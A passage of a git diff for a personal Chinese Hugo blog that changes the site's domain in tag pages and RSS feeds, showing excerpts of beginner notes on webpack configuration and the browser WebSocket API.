H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>webpack</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -15,25 +15,7 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
-entry: '入口文件的路径',
-output: {
-path:__dirname,
-filename: '最后输出到哪个文件的文件名'
-},
-module: {
-rules: [{
-test: '处理什么格式的文件',
-use:[
-{
-loader: '依赖包'
-}
-]
-}
-]
-}
-};
-模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://xiaochenabc123.github.io/posts/47/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://chenjunlinabc.github.io/posts/47/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/webpack/index.xml b/tags/webpack/index.xml
index c6db9d9b..55b6e37a 100644
--- a/tags/webpack/index.xml
+++ b/tags/webpack/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>webpack on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/webpack/</link>
+    <link>https://chenjunlinabc.github.io/tags/webpack/</link>
     <description>Recent content in webpack on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 24 Jun 2021 10:11:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/webpack/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 24 Jun 2021 10:11:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/webpack/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>webpack学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/47/</link>
+      <link>https://chenjunlinabc.github.io/posts/47/</link>
       <pubDate>Thu, 24 Jun 2021 10:11:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/47/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/47/</guid>
       <description>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
@@ -35,7 +35,7 @@ require(&amp;quot;!style-loader!css-loader!./abc.css&amp;quot;); document.write(
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: &#39;入口文件的路径&#39;,
output: {
path:__dirname,
filename: &#39;最后输出到哪个文件的文件名&#39;
},
module: {
rules: [{
test: &#39;处理什么格式的文件&#39;,
use:[
{
loader: &#39;依赖包&#39;
}
]
}
]
}
};
模块化</description>
+module.exports = { entry: &#39;入口文件的路径&#39;, output: { path:__dirname, filename: &#39;最后输出到哪个文件的文件名&#39; }, module: { rules: [{ test: &#39;处理什么格式的文件&#39;, use:[ { loader: &#39;依赖包&#39; } ] } ] } }; 模块化</description>
     </item>
     
   </channel>
diff --git a/tags/webpack/page/1/index.html b/tags/webpack/page/1/index.html
index 467e8701..790c0f3d 100644
--- a/tags/webpack/page/1/index.html
+++ b/tags/webpack/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/webpack/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/webpack/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/webpack/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/webpack/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/webpack/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/webpack/"></head></html>
\ No newline at end of file
diff --git a/tags/websocket/index.html b/tags/websocket/index.html
index b7866ae0..b16daa1d 100644
--- a/tags/websocket/index.html
+++ b/tags/websocket/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>WebSocket | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/websocket/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/websocket/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="WebSocket"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/websocket/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="WebSocket"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>WebSocket</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>WebSocket | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/websocket/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/websocket/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="WebSocket"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/websocket/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="WebSocket"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>WebSocket</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>WebSocket学习笔记</h2></header><div class=entry-content><p>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
 WebSocket客户端配置
@@ -11,29 +11,8 @@
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket('ws://localhost:8080')
-ws.onopen = () =>{
-console.log("连接中")
-ws.send('hallo word') // 向服务端发送数据
-}
-ws.onerror = () =>{
-console.log('连接失败')
-}
-ws.onmessage = (evt) =>{
-console.log('连接成功，正在获取数据')
-if(typeof evt.data === String){
-console.log('hallo'+evt.data)
-}else if(evt.data instanceof ArrayBuffer){
-let data = evt.data
-console.log('数据：'+data)
-}
-ws.close() // 手动关闭连接
-}
-ws.onclose = () =>{
-console.log('连接已关闭')
-}
-还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
-WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://xiaochenabc123.github.io/posts/158/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功，正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据：'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读...</p></div><footer class=entry-footer><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://chenjunlinabc.github.io/posts/158/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/websocket/index.xml b/tags/websocket/index.xml
index 7ccf6128..6d163b38 100644
--- a/tags/websocket/index.xml
+++ b/tags/websocket/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>WebSocket on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/websocket/</link>
+    <link>https://chenjunlinabc.github.io/tags/websocket/</link>
     <description>Recent content in WebSocket on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 05 Nov 2022 14:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/websocket/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 05 Nov 2022 14:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/websocket/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>WebSocket学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/158/</link>
+      <link>https://chenjunlinabc.github.io/posts/158/</link>
       <pubDate>Sat, 05 Nov 2022 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/158/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/158/</guid>
       <description>HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）
 WebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）
 WebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源
@@ -31,7 +31,7 @@ WebSocket.onclose是指定连接关闭后执行的回调函数
 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数
 可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer
 客户端配置例如：
-const ws = new WebSocket(&#39;ws://localhost:8080&#39;)
ws.onopen = () =&amp;gt;{
console.log(&amp;quot;连接中&amp;quot;)
ws.send(&#39;hallo word&#39;) // 向服务端发送数据
}
ws.onerror = () =&amp;gt;{
console.log(&#39;连接失败&#39;)
}
ws.onmessage = (evt) =&amp;gt;{
console.log(&#39;连接成功，正在获取数据&#39;)
if(typeof evt.data === String){
console.log(&#39;hallo&#39;+evt.data)
}else if(evt.data instanceof ArrayBuffer){
let data = evt.data
console.log(&#39;数据：&#39;+data)
}
ws.close() // 手动关闭连接
}
ws.onclose = () =&amp;gt;{
console.log(&#39;连接已关闭&#39;)
}
还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
+const ws = new WebSocket(&#39;ws://localhost:8080&#39;) ws.onopen = () =&amp;gt;{ console.log(&amp;quot;连接中&amp;quot;) ws.send(&#39;hallo word&#39;) // 向服务端发送数据 } ws.onerror = () =&amp;gt;{ console.log(&#39;连接失败&#39;) } ws.onmessage = (evt) =&amp;gt;{ console.log(&#39;连接成功，正在获取数据&#39;) if(typeof evt.data === String){ console.log(&#39;hallo&#39;+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log(&#39;数据：&#39;+data) } ws.close() // 手动关闭连接 } ws.onclose = () =&amp;gt;{ console.log(&#39;连接已关闭&#39;) } 还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕
 WebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读</description>
     </item>
     
diff --git a/tags/websocket/page/1/index.html b/tags/websocket/page/1/index.html
index 0c39e443..2fa58c63 100644
--- a/tags/websocket/page/1/index.html
+++ b/tags/websocket/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/websocket/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/websocket/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/websocket/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/websocket/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/websocket/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/websocket/"></head></html>
\ No newline at end of file
diff --git "a/tags/web\345\256\211\345\205\250/index.html" "b/tags/web\345\256\211\345\205\250/index.html"
index d1e1bc2b..0d4bb9bc 100644
--- "a/tags/web\345\256\211\345\205\250/index.html"
+++ "b/tags/web\345\256\211\345\205\250/index.html"
@@ -1,4 +1,4 @@
